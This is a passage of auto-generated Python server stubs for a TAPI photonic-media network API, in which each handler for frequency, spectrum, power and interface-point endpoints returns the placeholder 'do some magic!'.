:param tapi_photonic_media_application_identifier: tapi.photonic.media.ApplicationIdentifier to be added or updated
:type tapi_photonic_media_application_identifier: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_application_identifier = TapiPhotonicMediaApplicationIdentifier.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_delete
removes tapi.photonic.media.CentralFrequency # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_frequency_constraint_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_frequency_constraint_delete
removes tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_frequency_constraint_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_frequency_constraint_post(uuid, local_id, tapi_photonic_media_frequency_constraint=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_frequency_constraint_post
creates tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_frequency_constraint: tapi.photonic.media.FrequencyConstraint to be added to list
:type tapi_photonic_media_frequency_constraint: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_frequency_constraint = TapiPhotonicMediaFrequencyConstraint.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_frequency_constraint_put(uuid, local_id, tapi_photonic_media_frequency_constraint=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_frequency_constraint_put
creates or updates tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_frequency_constraint: tapi.photonic.media.FrequencyConstraint to be added or updated
:type tapi_photonic_media_frequency_constraint: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_frequency_constraint = TapiPhotonicMediaFrequencyConstraint.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_get
returns tapi.photonic.media.CentralFrequency # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaCentralFrequency
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_post(uuid, local_id, tapi_photonic_media_central_frequency=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_post
creates tapi.photonic.media.CentralFrequency # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_central_frequency: tapi.photonic.media.CentralFrequency to be added to list
:type tapi_photonic_media_central_frequency: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_central_frequency = TapiPhotonicMediaCentralFrequency.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_put(uuid, local_id, tapi_photonic_media_central_frequency=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_central_frequency_put
creates or updates tapi.photonic.media.CentralFrequency # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_central_frequency: tapi.photonic.media.CentralFrequency to be added or updated
:type tapi_photonic_media_central_frequency: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_central_frequency = TapiPhotonicMediaCentralFrequency.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_delete
removes tapi.photonic.media.OtsiTerminationConfigPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_get
returns tapi.photonic.media.OtsiTerminationConfigPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaOtsiTerminationConfigPac
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_post(uuid, local_id, tapi_photonic_media_otsi_termination_config_pac=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_post
creates tapi.photonic.media.OtsiTerminationConfigPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_otsi_termination_config_pac: tapi.photonic.media.OtsiTerminationConfigPac to be added to list
:type tapi_photonic_media_otsi_termination_config_pac: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_otsi_termination_config_pac = TapiPhotonicMediaOtsiTerminationConfigPac.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_put(uuid, local_id, tapi_photonic_media_otsi_termination_config_pac=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_put
creates or updates tapi.photonic.media.OtsiTerminationConfigPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_otsi_termination_config_pac: tapi.photonic.media.OtsiTerminationConfigPac to be added or updated
:type tapi_photonic_media_otsi_termination_config_pac: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_otsi_termination_config_pac = TapiPhotonicMediaOtsiTerminationConfigPac.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_delete
removes tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_frequency_constraint_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_frequency_constraint_delete
removes tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_frequency_constraint_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_frequency_constraint_post(uuid, local_id, tapi_photonic_media_frequency_constraint=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_frequency_constraint_post
creates tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_frequency_constraint: tapi.photonic.media.FrequencyConstraint to be added to list
:type tapi_photonic_media_frequency_constraint: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_frequency_constraint = TapiPhotonicMediaFrequencyConstraint.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_frequency_constraint_put(uuid, local_id, tapi_photonic_media_frequency_constraint=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_frequency_constraint_put
creates or updates tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_frequency_constraint: tapi.photonic.media.FrequencyConstraint to be added or updated
:type tapi_photonic_media_frequency_constraint: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_frequency_constraint = TapiPhotonicMediaFrequencyConstraint.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_post(uuid, local_id, tapi_photonic_media_spectrum_band=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_post
creates tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_spectrum_band: tapi.photonic.media.SpectrumBand to be added to list
:type tapi_photonic_media_spectrum_band: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_spectrum_band = TapiPhotonicMediaSpectrumBand.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_put(uuid, local_id, tapi_photonic_media_spectrum_band=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_spectrum_put
creates or updates tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_spectrum_band: tapi.photonic.media.SpectrumBand to be added or updated
:type tapi_photonic_media_spectrum_band: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_spectrum_band = TapiPhotonicMediaSpectrumBand.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_transmit_power_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_transmit_power_delete
removes tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_transmit_power_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_transmit_power_get
returns tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaPowerPropertiesPac
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_transmit_power_post(uuid, local_id, tapi_photonic_media_power_properties_pac=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_transmit_power_post
creates tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_power_properties_pac: tapi.photonic.media.PowerPropertiesPac to be added to list
:type tapi_photonic_media_power_properties_pac: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_power_properties_pac = TapiPhotonicMediaPowerPropertiesPac.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_transmit_power_put(uuid, local_id, tapi_photonic_media_power_properties_pac=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_transmit_power_put
creates or updates tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_power_properties_pac: tapi.photonic.media.PowerPropertiesPac to be added or updated
:type tapi_photonic_media_power_properties_pac: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_power_properties_pac = TapiPhotonicMediaPowerPropertiesPac.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_post(uuid, local_id, tapi_photonic_media_otsi_connectivity_service_end_point_spec=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_post
creates tapi.photonic.media.OtsiConnectivityServiceEndPointSpec # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_otsi_connectivity_service_end_point_spec: tapi.photonic.media.OtsiConnectivityServiceEndPointSpec to be added to list
:type tapi_photonic_media_otsi_connectivity_service_end_point_spec: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_otsi_connectivity_service_end_point_spec = TapiPhotonicMediaOtsiConnectivityServiceEndPointSpec.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_put(uuid, local_id, tapi_photonic_media_otsi_connectivity_service_end_point_spec=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_put
creates or updates tapi.photonic.media.OtsiConnectivityServiceEndPointSpec # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_otsi_connectivity_service_end_point_spec: tapi.photonic.media.OtsiConnectivityServiceEndPointSpec to be added or updated
:type tapi_photonic_media_otsi_connectivity_service_end_point_spec: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_otsi_connectivity_service_end_point_spec = TapiPhotonicMediaOtsiConnectivityServiceEndPointSpec.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_delete(uuid): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_delete
removes tapi.photonic.media.MediaChannelServiceInterfacePointSpec # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:rtype: None
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_get(uuid): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_get
returns tapi.photonic.media.MediaChannelServiceInterfacePointSpec # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:rtype: TapiPhotonicMediaMediaChannelServiceInterfacePointSpec
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param upper_frequency: Id of available-spectrum
:type upper_frequency: int
:param lower_frequency: Id of available-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_get(uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param upper_frequency: Id of available-spectrum
:type upper_frequency: int
:param lower_frequency: Id of available-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_get(uuid): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_get
returns tapi.photonic.media.MediaChannelPoolCapabilityPac # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:rtype: TapiPhotonicMediaMediaChannelPoolCapabilityPac
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param upper_frequency: Id of occupied-spectrum
:type upper_frequency: int
:param lower_frequency: Id of occupied-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_get(uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param upper_frequency: Id of occupied-spectrum
:type upper_frequency: int
:param lower_frequency: Id of occupied-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param upper_frequency: Id of supportable-spectrum
:type upper_frequency: int
:param lower_frequency: Id of supportable-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_get(uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param upper_frequency: Id of supportable-spectrum
:type upper_frequency: int
:param lower_frequency: Id of supportable-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_post(uuid, tapi_photonic_media_media_channel_service_interface_point_spec=None): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_post
creates tapi.photonic.media.MediaChannelServiceInterfacePointSpec # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param tapi_photonic_media_media_channel_service_interface_point_spec: tapi.photonic.media.MediaChannelServiceInterfacePointSpec to be added to list
:type tapi_photonic_media_media_channel_service_interface_point_spec: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_media_channel_service_interface_point_spec = TapiPhotonicMediaMediaChannelServiceInterfacePointSpec.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_put(uuid, tapi_photonic_media_media_channel_service_interface_point_spec=None): # noqa: E501
"""data_context_service_interface_pointuuid_media_channel_service_interface_point_spec_put
creates or updates tapi.photonic.media.MediaChannelServiceInterfacePointSpec # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param tapi_photonic_media_media_channel_service_interface_point_spec: tapi.photonic.media.MediaChannelServiceInterfacePointSpec to be added or updated
:type tapi_photonic_media_media_channel_service_interface_point_spec: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_media_channel_service_interface_point_spec = TapiPhotonicMediaMediaChannelServiceInterfacePointSpec.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_delete(uuid): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_delete
removes tapi.photonic.media.OtsiServiceInterfacePointSpec # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:rtype: None
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_get(uuid): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_get
returns tapi.photonic.media.OtsiServiceInterfacePointSpec # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:rtype: TapiPhotonicMediaOtsiServiceInterfacePointSpec
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_get(uuid): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_get
returns tapi.photonic.media.OtsiCapabilityPac # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:rtype: TapiPhotonicMediaOtsiCapabilityPac
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_application_identifierapplication_code_get(uuid, application_code): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_application_identifierapplication_code_get
returns tapi.photonic.media.ApplicationIdentifier # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param application_code: Id of supportable-application-identifier
:type application_code: str
:rtype: TapiPhotonicMediaApplicationIdentifier
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_lower_central_frequencycentral_frequency_frequency_constraint_get(uuid, central_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_lower_central_frequencycentral_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param central_frequency: Id of supportable-lower-central-frequency
:type central_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_lower_central_frequencycentral_frequency_get(uuid, central_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_lower_central_frequencycentral_frequency_get
returns tapi.photonic.media.CentralFrequency # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param central_frequency: Id of supportable-lower-central-frequency
:type central_frequency: int
:rtype: TapiPhotonicMediaCentralFrequency
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_upper_central_frequencycentral_frequency_frequency_constraint_get(uuid, central_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_upper_central_frequencycentral_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param central_frequency: Id of supportable-upper-central-frequency
:type central_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_upper_central_frequencycentral_frequency_get(uuid, central_frequency): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_supportable_upper_central_frequencycentral_frequency_get
returns tapi.photonic.media.CentralFrequency # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param central_frequency: Id of supportable-upper-central-frequency
:type central_frequency: int
:rtype: TapiPhotonicMediaCentralFrequency
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_total_power_warn_threshold_get(uuid): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_otsi_capability_total_power_warn_threshold_get
returns tapi.photonic.media.TotalPowerThresholdPac # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:rtype: TapiPhotonicMediaTotalPowerThresholdPac
"""
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_post(uuid, tapi_photonic_media_otsi_service_interface_point_spec=None): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_post
creates tapi.photonic.media.OtsiServiceInterfacePointSpec # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param tapi_photonic_media_otsi_service_interface_point_spec: tapi.photonic.media.OtsiServiceInterfacePointSpec to be added to list
:type tapi_photonic_media_otsi_service_interface_point_spec: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_otsi_service_interface_point_spec = TapiPhotonicMediaOtsiServiceInterfacePointSpec.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_service_interface_pointuuid_otsi_service_interface_point_spec_put(uuid, tapi_photonic_media_otsi_service_interface_point_spec=None): # noqa: E501
"""data_context_service_interface_pointuuid_otsi_service_interface_point_spec_put
creates or updates tapi.photonic.media.OtsiServiceInterfacePointSpec # noqa: E501
:param uuid: Id of service-interface-point
:type uuid: str
:param tapi_photonic_media_otsi_service_interface_point_spec: tapi.photonic.media.OtsiServiceInterfacePointSpec to be added or updated
:type tapi_photonic_media_otsi_service_interface_point_spec: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
